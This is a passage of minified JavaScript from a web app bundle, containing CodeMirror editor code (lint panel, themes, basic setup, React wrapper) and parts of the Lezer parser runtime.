if(r.keyCode==36)this.moveSelection(0);else if(r.keyCode==35)this.moveSelection(this.items.length-1);else if(r.keyCode==13)this.view.focus();else if(r.keyCode>=65&&r.keyCode<=90&&this.selectedIndex>=0){let{diagnostic:s}=this.items[this.selectedIndex],o=kp(s.actions);for(let l=0;l<o.length;l++)if(o[l].toUpperCase().charCodeAt(0)==r.keyCode){let a=Xt(this.view.state.field(qe).diagnostics,s);a&&s.actions[l].apply(e,a.from,a.to)}}else return;r.preventDefault()}},n=r=>{for(let s=0;s<this.items.length;s++)this.items[s].dom.contains(r.target)&&this.moveSelection(s)};this.list=j("ul",{tabIndex:0,role:"listbox","aria-label":this.view.state.phrase("Diagnostics"),onkeydown:t,onclick:n}),this.dom=j("div",{class:"cm-panel-lint"},this.list,j("button",{type:"button",name:"close","aria-label":this.view.state.phrase("close"),onclick:()=>wc(this.view)},"×")),this.update()}get selectedIndex(){let e=this.view.state.field(qe).selected;if(!e)return-1;for(let t=0;t<this.items.length;t++)if(this.items[t].diagnostic==e.diagnostic)return t;return-1}update(){let{diagnostics:e,selected:t}=this.view.state.field(qe),n=0,r=!1,s=null,o=new Set;for(e.between(0,this.view.state.doc.length,(l,a,{spec:h})=>{for(let c of h.diagnostics){if(o.has(c))continue;o.add(c);let f=-1,u;for(let d=n;d<this.items.length;d++)if(this.items[d].diagnostic==c){f=d;break}f<0?(u=new Cc(this.view,c),this.items.splice(n,0,u),r=!0):(u=this.items[f],f>n&&(this.items.splice(n,f-n),r=!0)),t&&u.diagnostic==t.diagnostic?u.dom.hasAttribute("aria-selected")||(u.dom.setAttribute("aria-selected","true"),s=u):u.dom.hasAttribute("aria-selected")&&u.dom.removeAttribute("aria-selected"),n++}});n<this.items.length&&!(this.items.length==1&&this.items[0].diagnostic.from<0);)r=!0,this.items.pop();this.items.length==0&&(this.items.push(new Cc(this.view,{from:-1,to:-1,severity:"info",message:this.view.state.phrase("No diagnostics")})),r=!0),s?(this.list.setAttribute("aria-activedescendant",s.id),this.view.requestMeasure({key:this,read:()=>({sel:s.dom.getBoundingClientRect(),panel:this.list.getBoundingClientRect()}),write:({sel:l,panel:a})=>{let h=a.height/this.list.offsetHeight;l.top<a.top?this.list.scrollTop-=(a.top-l.top)/h:l.bottom>a.bottom&&(this.list.scrollTop+=(l.bottom-a.bottom)/h)}})):this.selectedIndex<0&&this.list.removeAttribute("aria-activedescendant"),r&&this.sync()}sync(){let e=this.list.firstChild;function t(){let n=e;e=n.nextSibling,n.remove()}for(let n of this.items)if(n.dom.parentNode==this.list){for(;e!=n.dom;)t();e=n.dom.nextSibling}else this.list.insertBefore(n.dom,e);for(;e;)t()}moveSelection(e){if(this.selectedIndex<0)return;let t=this.view.state.field(qe),n=Xt(t.diagnostics,this.items[e].diagnostic);n&&this.view.dispatch({selection:{anchor:n.from,head:n.to},scrollIntoView:!0,effects:Sp.of(n)})}static open(e){return new Wn(e)}}function ew(i,e='viewBox="0 0 40 40"'){return`url('data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" ${e}>${encodeURIComponent(i)}</svg>')`}function br(i){return ew(`<path d="m0 2.5 l2 -1.5 l1 0 l2 1.5 l1 0" stroke="${i}" fill="none" stroke-width=".7"/>`,'width="6" height="3"')}const tw=A.baseTheme({".cm-diagnostic":{padding:"3px 6px 3px 8px",marginLeft:"-1px",display:"block",whiteSpace:"pre-wrap"},".cm-diagnostic-error":{borderLeft:"5px solid #d11"},".cm-diagnostic-warning":{borderLeft:"5px solid orange"},".cm-diagnostic-info":{borderLeft:"5px solid #999"},".cm-diagnostic-hint":{borderLeft:"5px solid #66d"},".cm-diagnosticAction":{font:"inherit",border:"none",padding:"2px 4px",backgroundColor:"#444",color:"white",borderRadius:"3px",marginLeft:"8px",cursor:"pointer"},".cm-diagnosticSource":{fontSize:"70%",opacity:.7},".cm-lintRange":{backgroundPosition:"left bottom",backgroundRepeat:"repeat-x",paddingBottom:"0.7px"},".cm-lintRange-error":{backgroundImage:br("#f11")},".cm-lintRange-warning":{backgroundImage:br("orange")},".cm-lintRange-info":{backgroundImage:br("#999")},".cm-lintRange-hint":{backgroundImage:br("#66d")},".cm-lintRange-active":{backgroundColor:"#ffdd9980"},".cm-tooltip-lint":{padding:0,margin:0},".cm-lintPoint":{position:"relative","&:after":{content:'""',position:"absolute",bottom:0,left:"-2px",borderLeft:"3px solid transparent",borderRight:"3px solid transparent",borderBottom:"4px solid #d11"}},".cm-lintPoint-warning":{"&:after":{borderBottomColor:"orange"}},".cm-lintPoint-info":{"&:after":{borderBottomColor:"#999"}},".cm-lintPoint-hint":{"&:after":{borderBottomColor:"#66d"}},".cm-panel.cm-panel-lint":{position:"relative","& ul":{maxHeight:"100px",overflowY:"auto","& [aria-selected]":{backgroundColor:"#ddd","& u":{textDecoration:"underline"}},"&:focus [aria-selected]":{background_fallback:"#bdf",backgroundColor:"Highlight",color_fallback:"white",color:"HighlightText"},"& u":{textDecoration:"none"},padding:0,margin:0},"& [name=close]":{position:"absolute",top:"0",right:"2px",background:"inherit",border:"none",font:"inherit",padding:0,margin:0}},"&dark .cm-lintRange-active":{backgroundColor:"#86714a80"},"&dark .cm-panel.cm-panel-lint ul":{"& [aria-selected]":{backgroundColor:"#2e343e"}}});function iw(i){return i=="error"?4:i=="warning"?3:i=="info"?2:1}function nw(i){let e="hint",t=1;for(let n of i){let r=iw(n.severity);r>t&&(t=r,e=n.severity)}return e}const Op=K1(Xk,{hideOn:qk}),rw=[qe,A.decorations.compute([qe],i=>{let{selected:e,panel:t}=i.field(qe);return!e||!t||e.from==e.to?D.none:D.set([Kk.range(e.from,e.to)])}),Op,tw];var Ac=function(e){e===void 0&&(e={});var t=e,n=t.crosshairCursor,r=n===void 0?!1:n,s=[];e.closeBracketsKeymap!==!1&&(s=s.concat(Bk)),e.defaultKeymap!==!1&&(s=s.concat(MS)),e.searchKeymap!==!1&&(s=s.concat(tk)),e.historyKeymap!==!1&&(s=s.concat(Nv)),e.foldKeymap!==!1&&(s=s.concat(jx)),e.completionKeymap!==!1&&(s=s.concat(xp)),e.lintKeymap!==!1&&(s=s.concat(Jk));var o=[];return e.lineNumbers!==!1&&o.push(lx()),e.highlightActiveLineGutter!==!1&&o.push(cx()),e.highlightSpecialChars!==!1&&o.push(k1()),e.history!==!1&&o.push(Av()),e.foldGutter!==!1&&o.push(Zx()),e.drawSelection!==!1&&o.push(f1()),e.dropCursor!==!1&&o.push(m1()),e.allowMultipleSelections!==!1&&o.push(V.allowMultipleSelections.of(!0)),e.indentOnInput!==!1&&o.push(Wx()),e.syntaxHighlighting!==!1&&o.push(ha(nv,{fallback:!0})),e.bracketMatching!==!1&&o.push(cv()),e.closeBrackets!==!1&&o.push(Dk()),e.autocompletion!==!1&&o.push(Qk()),e.rectangularSelection!==!1&&o.push(B1()),r!==!1&&o.push(W1()),e.highlightActiveLine!==!1&&o.push(M1()),e.highlightSelectionMatches!==!1&&o.push(IS()),e.tabSize&&typeof e.tabSize=="number"&&o.push(ks.of(" ".repeat(e.tabSize))),o.concat([vs.of(s.flat())]).filter(Boolean)};const sw="#e5c07b",Tc="#e06c75",ow="#56b6c2",lw="#ffffff",Tr="#abb2bf",wl="#7d8799",aw="#61afef",hw="#98c379",Mc="#d19a66",cw="#c678dd",fw="#21252b",Pc="#2c313a",Ec="#282c34",go="#353a42",uw="#3E4451",Lc="#528bff",dw=A.theme({"&":{color:Tr,backgroundColor:Ec},".cm-content":{caretColor:Lc},".cm-cursor, .cm-dropCursor":{borderLeftColor:Lc},"&.cm-focused > .cm-scroller > .cm-selectionLayer .cm-selectionBackground, .cm-selectionBackground, .cm-content ::selection":{backgroundColor:uw},".cm-panels":{backgroundColor:fw,color:Tr},".cm-panels.cm-panels-top":{borderBottom:"2px solid black"},".cm-panels.cm-panels-bottom":{borderTop:"2px solid black"},".cm-searchMatch":{backgroundColor:"#72a1ff59",outline:"1px solid #457dff"},".cm-searchMatch.cm-searchMatch-selected":{backgroundColor:"#6199ff2f"},".cm-activeLine":{backgroundColor:"#6699ff0b"},".cm-selectionMatch":{backgroundColor:"#aafe661a"},"&.cm-focused .cm-matchingBracket, &.cm-focused .cm-nonmatchingBracket":{backgroundColor:"#bad0f847"},".cm-gutters":{backgroundColor:Ec,color:wl,border:"none"},".cm-activeLineGutter":{backgroundColor:Pc},".cm-foldPlaceholder":{backgroundColor:"transparent",border:"none",color:"#ddd"},".cm-tooltip":{border:"none",backgroundColor:go},".cm-tooltip .cm-tooltip-arrow:before":{borderTopColor:"transparent",borderBottomColor:"transparent"},".cm-tooltip .cm-tooltip-arrow:after":{borderTopColor:go,borderBottomColor:go},".cm-tooltip-autocomplete":{"& > ul > li[aria-selected]":{backgroundColor:Pc,color:Tr}}},{dark:!0}),pw=Zi.define([{tag:y.keyword,color:cw},{tag:[y.name,y.deleted,y.character,y.propertyName,y.macroName],color:Tc},{tag:[y.function(y.variableName),y.labelName],color:aw},{tag:[y.color,y.constant(y.name),y.standard(y.name)],color:Mc},{tag:[y.definition(y.name),y.separator],color:Tr},{tag:[y.typeName,y.className,y.number,y.changed,y.annotation,y.modifier,y.self,y.namespace],color:sw},{tag:[y.operator,y.operatorKeyword,y.url,y.escape,y.regexp,y.link,y.special(y.string)],color:ow},{tag:[y.meta,y.comment],color:wl},{tag:y.strong,fontWeight:"bold"},{tag:y.emphasis,fontStyle:"italic"},{tag:y.strikethrough,textDecoration:"line-through"},{tag:y.link,color:wl,textDecoration:"underline"},{tag:y.heading,fontWeight:"bold",color:Tc},{tag:[y.atom,y.bool,y.special(y.variableName)],color:Mc},{tag:[y.processingInstruction,y.string,y.inserted],color:hw},{tag:y.invalid,color:lw}]),gw=[dw,ha(pw)];var mw=A.theme({"&":{backgroundColor:"#fff"}},{dark:!1}),bw=function(e){e===void 0&&(e={});var t=e,n=t.indentWithTab,r=n===void 0?!0:n,s=t.editable,o=s===void 0?!0:s,l=t.readOnly,a=l===void 0?!1:l,h=t.theme,c=h===void 0?"light":h,f=t.placeholder,u=f===void 0?"":f,d=t.basicSetup,p=d===void 0?!0:d,g=[];switch(r&&g.unshift(vs.of([PS])),p&&(typeof p=="boolean"?g.unshift(Ac()):g.unshift(Ac(p))),u&&g.unshift(D1(u)),c){case"light":g.push(mw);break;case"dark":g.push(gw);break;case"none":break;default:g.push(c);break}return o===!1&&g.push(A.editable.of(!1)),a&&g.push(V.readOnly.of(!0)),[...g]},yw=i=>({line:i.state.doc.lineAt(i.state.selection.main.from),lineCount:i.state.doc.lines,lineBreak:i.state.lineBreak,length:i.state.doc.length,readOnly:i.state.readOnly,tabSize:i.state.tabSize,selection:i.state.selection,selectionAsSingle:i.state.selection.asSingle().main,ranges:i.state.selection.ranges,selectionCode:i.state.sliceDoc(i.state.selection.main.from,i.state.selection.main.to),selections:i.state.selection.ranges.map(e=>i.state.sliceDoc(e.from,e.to)),selectedText:i.state.selection.ranges.some(e=>!e.empty)});class xw{constructor(e,t){this.timeLeftMS=void 0,this.timeoutMS=void 0,this.isCancelled=!1,this.isTimeExhausted=!1,this.callbacks=[],this.timeLeftMS=t,this.timeoutMS=t,this.callbacks.push(e)}tick(){if(!this.isCancelled&&!this.isTimeExhausted&&(this.timeLeftMS--,this.timeLeftMS<=0)){this.isTimeExhausted=!0;var e=this.callbacks.slice();this.callbacks.length=0,e.forEach(t=>{try{t()}catch(n){console.error("TimeoutLatch callback error:",n)}})}}cancel(){this.isCancelled=!0,this.callbacks.length=0}reset(){this.timeLeftMS=this.timeoutMS,this.isCancelled=!1,this.isTimeExhausted=!1}get isDone(){return this.isCancelled||this.isTimeExhausted}}class Dc{constructor(){this.interval=null,this.latches=new Set}add(e){this.latches.add(e),this.start()}remove(e){this.latches.delete(e),this.latches.size===0&&this.stop()}start(){this.interval===null&&(this.interval=setInterval(()=>{this.latches.forEach(e=>{e.tick(),e.isDone&&this.remove(e)})},1))}stop(){this.interval!==null&&(clearInterval(this.interval),this.interval=null)}}var mo=null,vw=()=>typeof window>"u"?new Dc:(mo||(mo=new Dc),mo),Rc=St.define(),Sw=200,kw=[];function ww(i){var e=i.value,t=i.selection,n=i.onChange,r=i.onStatistics,s=i.onCreateEditor,o=i.onUpdate,l=i.extensions,a=l===void 0?kw:l,h=i.autoFocus,c=i.theme,f=c===void 0?"light":c,u=i.height,d=u===void 0?null:u,p=i.minHeight,g=p===void 0?null:p,m=i.maxHeight,b=m===void 0?null:m,x=i.width,S=x===void 0?null:x,M=i.minWidth,k=M===void 0?null:M,w=i.maxWidth,O=w===void 0?null:w,I=i.placeholder,F=I===void 0?"":I,U=i.editable,B=U===void 0?!0:U,E=i.readOnly,H=E===void 0?!1:E,_=i.indentWithTab,K=_===void 0?!0:_,oe=i.basicSetup,fe=oe===void 0?!0:oe,Me=i.root,ie=i.initialState,ge=ee.useState(),me=ge[0],Pe=ge[1],He=ee.useState(),Y=He[0],Ze=He[1],Yt=ee.useState(),xi=Yt[0],Ls=Yt[1],lt=ee.useState(()=>({current:null}))[0],Kn=ee.useState(()=>({current:null}))[0],Rp=A.theme({"&":{height:d,minHeight:g,maxHeight:b,width:S,minWidth:k,maxWidth:O},"& .cm-scroller":{height:"100% !important"}}),Ip=A.updateListener.of(at=>{if(at.docChanged&&typeof n=="function"&&!at.transactions.some(Ds=>Ds.annotation(Rc))){lt.current?lt.current.reset():(lt.current=new xw(()=>{if(Kn.current){var Ds=Kn.current;Kn.current=null,Ds()}lt.current=null},Sw),vw().add(lt.current));var Gt=at.state.doc,Jt=Gt.toString();n(Jt,at)}r&&r(yw(at))}),Np=bw({theme:f,editable:B,readOnly:H,placeholder:F,indentWithTab:K,basicSetup:fe}),nn=[Ip,Rp,...Np];return o&&typeof o=="function"&&nn.push(A.updateListener.of(o)),nn=nn.concat(a),ee.useLayoutEffect(()=>{if(me&&!xi){var at={doc:e,selection:t,extensions:nn},Gt=ie?V.fromJSON(ie.json,at,ie.fields):V.create(at);if(Ls(Gt),!Y){var Jt=new A({state:Gt,parent:me,root:Me});Ze(Jt),s&&s(Jt,Gt)}}return()=>{Y&&(Ls(void 0),Ze(void 0))}},[me,xi]),ee.useEffect(()=>{i.container&&Pe(i.container)},[i.container]),ee.useEffect(()=>()=>{Y&&(Y.destroy(),Ze(void 0)),lt.current&&(lt.current.cancel(),lt.current=null)},[Y]),ee.useEffect(()=>{h&&Y&&Y.focus()},[h,Y]),ee.useEffect(()=>{Y&&Y.dispatch({effects:N.reconfigure.of(nn)})},[f,a,d,g,b,S,k,O,F,B,H,K,fe,n,o]),ee.useEffect(()=>{if(e!==void 0){var at=Y?Y.state.doc.toString():"";if(Y&&e!==at){var Gt=lt.current&&!lt.current.isDone,Jt=()=>{Y&&e!==Y.state.doc.toString()&&Y.dispatch({changes:{from:0,to:Y.state.doc.toString().length,insert:e||""},annotations:[Rc.of(!0)]})};Gt?Kn.current=Jt:Jt()}}},[e,Y]),{state:xi,setState:Ls,view:Y,setView:Ze,container:me,setContainer:Pe}}var Ow=["className","value","selection","extensions","onChange","onStatistics","onCreateEditor","onUpdate","autoFocus","theme","height","minHeight","maxHeight","width","minWidth","maxWidth","basicSetup","placeholder","indentWithTab","editable","readOnly","root","initialState"],Cp=ee.forwardRef((i,e)=>{var t=i.className,n=i.value,r=n===void 0?"":n,s=i.selection,o=i.extensions,l=o===void 0?[]:o,a=i.onChange,h=i.onStatistics,c=i.onCreateEditor,f=i.onUpdate,u=i.autoFocus,d=i.theme,p=d===void 0?"light":d,g=i.height,m=i.minHeight,b=i.maxHeight,x=i.width,S=i.minWidth,M=i.maxWidth,k=i.basicSetup,w=i.placeholder,O=i.indentWithTab,I=i.editable,F=i.readOnly,U=i.root,B=i.initialState,E=Z0(i,Ow),H=ee.useRef(null),_=ww({root:U,value:r,autoFocus:u,theme:p,height:g,minHeight:m,maxHeight:b,width:x,minWidth:S,maxWidth:M,basicSetup:k,placeholder:w,indentWithTab:O,editable:I,readOnly:F,selection:s,onChange:a,onStatistics:h,onCreateEditor:c,onUpdate:f,extensions:l,initialState:B}),K=_.state,oe=_.view,fe=_.container,Me=_.setContainer;ee.useImperativeHandle(e,()=>({editor:H.current,state:K,view:oe}),[H,fe,K,oe]);var ie=ee.useCallback(me=>{H.current=me,Me(me)},[Me]);if(typeof r!="string")throw new Error("value must be typeof string but got "+typeof r);var ge=typeof p=="string"?"cm-theme-"+p:"cm-theme";return Q.jsx("div",Rr({ref:ie,className:""+ge+(t?" "+t:"")},E))});Cp.displayName="CodeMirror";var Ic={};class ss{constructor(e,t,n,r,s,o,l,a,h,c=0,f){this.p=e,this.stack=t,this.state=n,this.reducePos=r,this.pos=s,this.score=o,this.buffer=l,this.bufferBase=a,this.curContext=h,this.lookAhead=c,this.parent=f}toString(){return`[${this.stack.filter((e,t)=>t%3==0).concat(this.state)}]@${this.pos}${this.score?"!"+this.score:""}`}static start(e,t,n=0){let r=e.parser.context;return new ss(e,[],t,n,n,0,[],0,r?new Nc(r,r.start):null,0,null)}get context(){return this.curContext?this.curContext.context:null}pushState(e,t){this.stack.push(this.state,t,this.bufferBase+this.buffer.length),this.state=e}reduce(e){var t;let n=e>>19,r=e&65535,{parser:s}=this.p,o=this.reducePos<this.pos-25&&this.setLookAhead(this.pos),l=s.dynamicPrecedence(r);if(l&&(this.score+=l),n==0){r<s.minRepeatTerm&&this.reducePos<this.pos&&(this.reducePos=this.pos),this.pushState(s.getGoto(this.state,r,!0),this.reducePos),r<s.minRepeatTerm&&this.storeNode(r,this.reducePos,this.reducePos,o?8:4,!0),this.reduceContext(r,this.reducePos);return}let a=this.stack.length-(n-1)*3-(e&262144?6:0),h=a?this.stack[a-2]:this.p.ranges[0].from;r<s.minRepeatTerm&&h==this.reducePos&&this.reducePos<this.pos&&(this.reducePos=this.pos);let c=this.reducePos-h;c>=2e3&&!(!((t=this.p.parser.nodeSet.types[r])===null||t===void 0)&&t.isAnonymous)&&(h==this.p.lastBigReductionStart?(this.p.bigReductionCount++,this.p.lastBigReductionSize=c):this.p.lastBigReductionSize<c&&(this.p.bigReductionCount=1,this.p.lastBigReductionStart=h,this.p.lastBigReductionSize=c));let f=a?this.stack[a-1]:0,u=this.bufferBase+this.buffer.length-f;if(r<s.minRepeatTerm||e&131072){let d=s.stateFlag(this.state,1)?this.pos:this.reducePos;this.storeNode(r,h,d,u+4,!0)}if(e&262144)this.state=this.stack[a];else{let d=this.stack[a-3];this.state=s.getGoto(d,r,!0)}for(;this.stack.length>a;)this.stack.pop();this.reduceContext(r,h)}storeNode(e,t,n,r=4,s=!1){if(e==0&&(!this.stack.length||this.stack[this.stack.length-1]<this.buffer.length+this.bufferBase)){let o=this.buffer.length;if(o>0&&this.buffer[o-4]==0&&this.buffer[o-1]>-1){if(t==n)return;if(this.buffer[o-2]>=t){this.buffer[o-2]=n;return}}}if(!s||this.pos==n)this.buffer.push(e,t,n,r);else{let o=this.buffer.length;if(o>0&&(this.buffer[o-4]!=0||this.buffer[o-1]<0)){let l=!1;for(let a=o;a>0&&this.buffer[a-2]>n;a-=4)if(this.buffer[a-1]>=0){l=!0;break}if(l)for(;o>0&&this.buffer[o-2]>n;)this.buffer[o]=this.buffer[o-4],this.buffer[o+1]=this.buffer[o-3],this.buffer[o+2]=this.buffer[o-2],this.buffer[o+3]=this.buffer[o-1],o-=4,r>4&&(r-=4)}this.buffer[o]=e,this.buffer[o+1]=t,this.buffer[o+2]=n,this.buffer[o+3]=r}}shift(e,t,n,r){if(e&131072)this.pushState(e&65535,this.pos);else if((e&262144)==0){let s=e,{parser:o}=this.p;this.pos=r;let l=o.stateFlag(s,1);!l&&(r>n||t<=o.maxNode)&&(this.reducePos=r),this.pushState(s,l?n:Math.min(n,this.reducePos)),this.shiftContext(t,n),t<=o.maxNode&&this.buffer.push(t,n,r,4)}else this.pos=r,this.shiftContext(t,n),t<=this.p.parser.maxNode&&this.buffer.push(t,n,r,4)}apply(e,t,n,r){e&65536?this.reduce(e):this.shift(e,t,n,r)}useNode(e,t){let n=this.p.reused.length-1;(n<0||this.p.reused[n]!=e)&&(this.p.reused.push(e),n++);let r=this.pos;this.reducePos=this.pos=r+e.length,this.pushState(t,r),this.buffer.push(n,r,this.reducePos,-1),this.curContext&&this.updateContext(this.curContext.tracker.reuse(this.curContext.context,e,this,this.p.stream.reset(this.pos-e.length)))}split(){let e=this,t=e.buffer.length;for(t&&e.buffer[t-4]==0&&(t-=4);t>0&&e.buffer[t-2]>e.reducePos;)t-=4;let n=e.buffer.slice(t),r=e.bufferBase+t;for(;e&&r==e.bufferBase;)e=e.parent;return new ss(this.p,this.stack.slice(),this.state,this.reducePos,this.pos,this.score,n,r,this.curContext,this.lookAhead,e)}recoverByDelete(e,t){let n=e<=this.p.parser.maxNode;n&&this.storeNode(e,this.pos,t,4),this.storeNode(0,this.pos,t,n?8:4),this.pos=this.reducePos=t,this.score-=190}canShift(e){for(let t=new Cw(this);;){let n=this.p.parser.stateSlot(t.state,4)||this.p.parser.hasAction(t.state,e);if(n==0)return!1;if((n&65536)==0)return!0;t.reduce(n)}}recoverByInsert(e){if(this.stack.length>=300)return[];let t=this.p.parser.nextStates(this.state);if(t.length>8||this.stack.length>=120){let r=[];for(let s=0,o;s<t.length;s+=2)(o=t[s+1])!=this.state&&this.p.parser.hasAction(o,e)&&r.push(t[s],o);if(this.stack.length<120)for(let s=0;r.length<8&&s<t.length;s+=2){let o=t[s+1];r.some((l,a)=>a&1&&l==o)||r.push(t[s],o)}t=r}let n=[];for(let r=0;r<t.length&&n.length<4;r+=2){let s=t[r+1];if(s==this.state)continue;let o=this.split();o.pushState(s,this.pos),o.storeNode(0,o.pos,o.pos,4,!0),o.shiftContext(t[r],this.pos),o.reducePos=this.pos,o.score-=200,n.push(o)}return n}forceReduce(){let{parser:e}=this.p,t=e.stateSlot(this.state,5);if((t&65536)==0)return!1;if(!e.validAction(this.state,t)){let n=t>>19,r=t&65535,s=this.stack.length-n*3;if(s<0||e.getGoto(this.stack[s],r,!1)<0){let o=this.findForcedReduction();if(o==null)return!1;t=o}this.storeNode(0,this.pos,this.pos,4,!0),this.score-=100}return this.reducePos=this.pos,this.reduce(t),!0}findForcedReduction(){let{parser:e}=this.p,t=[],n=(r,s)=>{if(!t.includes(r))return t.push(r),e.allActions(r,o=>{if(!(o&393216))if(o&65536){let l=(o>>19)-s;if(l>1){let a=o&65535,h=this.stack.length-l*3;if(h>=0&&e.getGoto(this.stack[h],a,!1)>=0)return l<<19|65536|a}}else{let l=n(o,s+1);if(l!=null)return l}})};return n(this.state,0)}forceAll(){for(;!this.p.parser.stateFlag(this.state,2);)if(!this.forceReduce()){this.storeNode(0,this.pos,this.pos,4,!0);break}return this}get deadEnd(){if(this.stack.length!=3)return!1;let{parser:e}=this.p;return e.data[e.stateSlot(this.state,1)]==65535&&!e.stateSlot(this.state,4)}restart(){this.storeNode(0,this.pos,this.pos,4,!0),this.state=this.stack[0],this.stack.length=0}sameState(e){if(this.state!=e.state||this.stack.length!=e.stack.length)return!1;for(let t=0;t<this.stack.length;t+=3)if(this.stack[t]!=e.stack[t])return!1;return!0}get parser(){return this.p.parser}dialectEnabled(e){return this.p.parser.dialect.flags[e]}shiftContext(e,t){this.curContext&&this.updateContext(this.curContext.tracker.shift(this.curContext.context,e,this,this.p.stream.reset(t)))}reduceContext(e,t){this.curContext&&this.updateContext(this.curContext.tracker.reduce(this.curContext.context,e,this,this.p.stream.reset(t)))}emitContext(){let e=this.buffer.length-1;(e<0||this.buffer[e]!=-3)&&this.buffer.push(this.curContext.hash,this.pos,this.pos,-3)}emitLookAhead(){let e=this.buffer.length-1;(e<0||this.buffer[e]!=-4)&&this.buffer.push(this.lookAhead,this.pos,this.pos,-4)}updateContext(e){if(e!=this.curContext.context){let t=new Nc(this.curContext.tracker,e);t.hash!=this.curContext.hash&&this.emitContext(),this.curContext=t}}setLookAhead(e){return e<=this.lookAhead?!1:(this.emitLookAhead(),this.lookAhead=e,!0)}close(){this.curContext&&this.curContext.tracker.strict&&this.emitContext(),this.lookAhead>0&&this.emitLookAhead()}}class Nc{constructor(e,t){this.tracker=e,this.context=t,this.hash=e.strict?e.hash(t):0}}class Cw{constructor(e){this.start=e,this.state=e.state,this.stack=e.stack,this.base=this.stack.length}reduce(e){let t=e&65535,n=e>>19;n==0?(this.stack==this.start.stack&&(this.stack=this.stack.slice()),this.stack.push(this.state,0,0),this.base+=3):this.base-=(n-1)*3;let r=this.start.p.parser.getGoto(this.stack[this.base-3],t,!0);this.state=r}}class os{constructor(e,t,n){this.stack=e,this.pos=t,this.index=n,this.buffer=e.buffer,this.index==0&&this.maybeNext()}static create(e,t=e.bufferBase+e.buffer.length){return new os(e,t,t-e.bufferBase)}maybeNext(){let e=this.stack.parent;e!=null&&(this.index=this.stack.bufferBase-e.bufferBase,this.stack=e,this.buffer=e.buffer)}get id(){return this.buffer[this.index-4]}get start(){return this.buffer[this.index-3]}get end(){return this.buffer[this.index-2]}get size(){return this.buffer[this.index-1]}next(){this.index-=4,this.pos-=4,this.index==0&&this.maybeNext()}fork(){return new os(this.stack,this.pos,this.index)}}function yr(i,e=Uint16Array){if(typeof i!="string")return i;let t=null;for(let n=0,r=0;n<i.length;){let s=0;for(;;){let o=i.charCodeAt(n++),l=!1;if(o==126){s=65535;break}o>=92&&o--,o>=34&&o--;let a=o-32;if(a>=46&&(a-=46,l=!0),s+=a,l)break;s*=46}t?t[r++]=s:t=new e(s)}return t}class Mr{constructor(){this.start=-1,this.value=-1,this.end=-1,this.extended=-1,this.lookAhead=0,this.mask=0,this.context=0}}const Bc=new Mr;class Aw{constructor(e,t){this.input=e,this.ranges=t,this.chunk="",this.chunkOff=0,this.chunk2="",this.chunk2Pos=0,this.next=-1,this.token=Bc,this.rangeIndex=0,this.pos=this.chunkPos=t[0].from,this.range=t[0],this.end=t[t.length-1].to,this.readNext()}resolveOffset(e,t){let n=this.range,r=this.rangeIndex,s=this.pos+e;for(;s<n.from;){if(!r)return null;let o=this.ranges[--r];s-=n.from-o.to,n=o}for(;t<0?s>n.to:s>=n.to;){if(r==this.ranges.length-1)return null;let o=this.ranges[++r];s+=o.from-n.to,n=o}return s}clipPos(e){if(e>=this.range.from&&e<this.range.to)return e;for(let t of this.ranges)if(t.to>e)return Math.max(e,t.from);return this.end}peek(e){let t=this.chunkOff+e,n,r;if(t>=0&&t<this.chunk.length)n=this.pos+e,r=this.chunk.charCodeAt(t);else{let s=this.resolveOffset(e,1);if(s==null)return-1;if(n=s,n>=this.chunk2Pos&&n<this.chunk2Pos+this.chunk2.length)r=this.chunk2.charCodeAt(n-this.chunk2Pos);else{let o=this.rangeIndex,l=this.range;for(;l.to<=n;)l=this.ranges[++o];this.chunk2=this.input.chunk(this.chunk2Pos=n),n+this.chunk2.length>l.to&&(this.chunk2=this.chunk2.slice(0,l.to-n)),r=this.chunk2.charCodeAt(0)}}return n>=this.token.lookAhead&&(this.token.lookAhead=n+1),r}acceptToken(e,t=0){let n=t?this.resolveOffset(t,-1):this.pos;if(n==null||n<this.token.start)throw new RangeError("Token end out of bounds");this.token.value=e,this.token.end=n}acceptTokenTo(e,t){this.token.value=e,this.token.end=t}getChunk(){if(this.pos>=this.chunk2Pos&&this.pos<this.chunk2Pos+this.chunk2.length){let{chunk:e,chunkPos:t}=this;this.chunk=this.chunk2,this.chunkPos=this.chunk2Pos,this.chunk2=e,this.chunk2Pos=t,this.chunkOff=this.pos-this.chunkPos}else{this.chunk2=this.chunk,this.chunk2Pos=this.chunkPos;let e=this.input.chunk(this.pos),t=this.pos+e.length;this.chunk=t>this.range.to?e.slice(0,this.range.to-this.pos):e,this.chunkPos=this.pos,this.chunkOff=0}}readNext(){return this.chunkOff>=this.chunk.length&&(this.getChunk(),this.chunkOff==this.chunk.length)?this.next=-1:this.next=this.chunk.charCodeAt(this.chunkOff)}advance(e=1){for(this.chunkOff+=e;this.pos+e>=this.range.to;){if(this.rangeIndex==this.ranges.length-1)return this.setDone();e-=this.range.to-this.pos,this.range=this.ranges[++this.rangeIndex],this.pos=this.range.from}return this.pos+=e,this.pos>=this.token.lookAhead&&(this.token.lookAhead=this.pos+1),this.readNext()}setDone(){return this.pos=this.chunkPos=this.end,this.range=this.ranges[this.rangeIndex=this.ranges.length-1],this.chunk="",this.next=-1}reset(e,t){if(t?(this.token=t,t.start=e,t.lookAhead=e+1,t.value=t.extended=-1):this.token=Bc,this.pos!=e){if(this.pos=e,e==this.end)return this.setDone(),this;for(;e<this.range.from;)this.range=this.ranges[--this.rangeIndex];for(;e>=this.range.to;)this.range=this.ranges[++this.rangeIndex];e>=this.chunkPos&&e<this.chunkPos+this.chunk.length?this.chunkOff=e-this.chunkPos:(this.chunk="",this.chunkOff=0),this.readNext()}return this}read(e,t){if(e>=this.chunkPos&&t<=this.chunkPos+this.chunk.length)return this.chunk.slice(e-this.chunkPos,t-this.chunkPos);if(e>=this.chunk2Pos&&t<=this.chunk2Pos+this.chunk2.length)return this.chunk2.slice(e-this.chunk2Pos,t-this.chunk2Pos);if(e>=this.range.from&&t<=this.range.to)return this.input.read(e,t);let n="";for(let r of this.ranges){if(r.from>=t)break;r.to>e&&(n+=this.input.read(Math.max(r.from,e),Math.min(r.to,t)))}return n}}class _i{constructor(e,t){this.data=e,this.id=t}token(e,t){let{parser:n}=t.p;Tw(this.data,e,t,this.id,n.data,n.tokenPrecTable)}}_i.prototype.contextual=_i.prototype.fallback=_i.prototype.extend=!1;_i.prototype.fallback=_i.prototype.extend=!1;class Es{constructor(e,t={}){this.token=e,this.contextual=!!t.contextual,this.fallback=!!t.fallback,this.extend=!!t.extend}}function Tw(i,e,t,n,r,s){let o=0,l=1<<n,{dialect:a}=t.p.parser;e:for(;(l&i[o])!=0;){let 